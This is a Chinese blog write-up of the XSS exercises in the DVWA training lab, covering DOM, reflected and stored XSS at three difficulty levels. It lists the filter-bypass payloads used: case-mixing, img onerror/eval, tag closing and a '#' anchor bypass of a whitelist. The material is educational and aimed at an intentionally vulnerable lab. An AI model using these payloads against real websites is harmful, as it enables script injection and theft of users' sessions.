XSS运用之DVWA靶场

为了方便直接使用buuctf上面的环境,DVWA的默认账号是admin密码是password

XSS(DOM)-Low

可以看到是get型

最简单的尝试一下

1
<script>alert('123')</script>

第一题没什么难度

XSS(DOM)-Medium

还是这个题目,但是看左下角的等级,现在是最低级,

先改成Medium(如果改了之后xss(dom)这题还说low那重启一下环境)

普通绕过

先尝试最简单的,无效

1
<script>alert('123')</script>

大小写绕过

1
<sCript>alert('123')</scRipt>

依然无效

html标签绕过

1
<img src=x:alert(alt) onerror=eval(src) alt=xss>

还是无效

只能猜测是闭合标签了

闭合标签+html标签绕过

因为看到源代码里是这样的

这个标签猜测就是option和select了

1
></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>

终于成功

XSS(DOM)-High(使用#锚点绕过白名单)

简单的就不测了,用Medium的payload试试

1
></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>

无效了,只能查看服务器端这题的源代码

default=只允许是French、English、German、Spanish这几个通过,如果不是这四种字符串的话,就会直接跳到?default=English。所以这题采用了白名单过滤的方法。

这里介绍一个#绕过的方法。这个#叫锚点,#号后面的字符不会提交给PHP服务器,可以直接与浏览器进行交互,所以可以通过这个绕过白名单

1
English#<script>alert('123')</script>

XSS (Reflected)-low

这就是反射型xss

普通注入即可

1
<script>alert('123')</script>

XSS (Reflected)-medium

普通绕过

1
<script>alert("123")</script>

发现被过滤了,<script>和</script>没有了,可能被删除或替换为空字符串。尝试大小写绕过

大小写绕过

1
<sCript>alert('123')</scRipt>

直接就成功了

XSS(Reflected)-HIGH

普通绕过

1
<script>alert("123")</script>

只剩一个>了

大小写绕过

1
<sCript>alert('123')</scRipt>

无效

双写绕过

1
<scr<script>ipt>aleralertt('123')</scr<script>ipt>

无效

html标签绕过

1
<img src=x:alert(alt) onerror=eval(src) alt=xss>

成功

看这题的源码发现使用preg_replace函数进行正则表达式匹配,大小写都会匹配到,替换为空字符串,然后输出,但仅匹配了<script>,未匹配html标签

XSS(Stored)-LOW

存储型xss

输入的都会被输出并且存储

普通绕过

1
<script>alert("123")</script>

发现name被限制输入了

存进去的是空的

可能是message有过滤,但是name只是限制字数,想办法从name绕过

前端做了长度限制而已

成功

XSS(Stored)-medium

普通绕过

1
<script>alert("123")</script>

发现<script>被过滤了

尝试大小写

大小写绕过

1
<scRipt>alert('123')</sCript>

成功

XSS(Stored)-HIGH

前面的方法肯定都不行,试试html标签绕过

html标签绕过

1
<img src=x onerror=alert('123');>


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!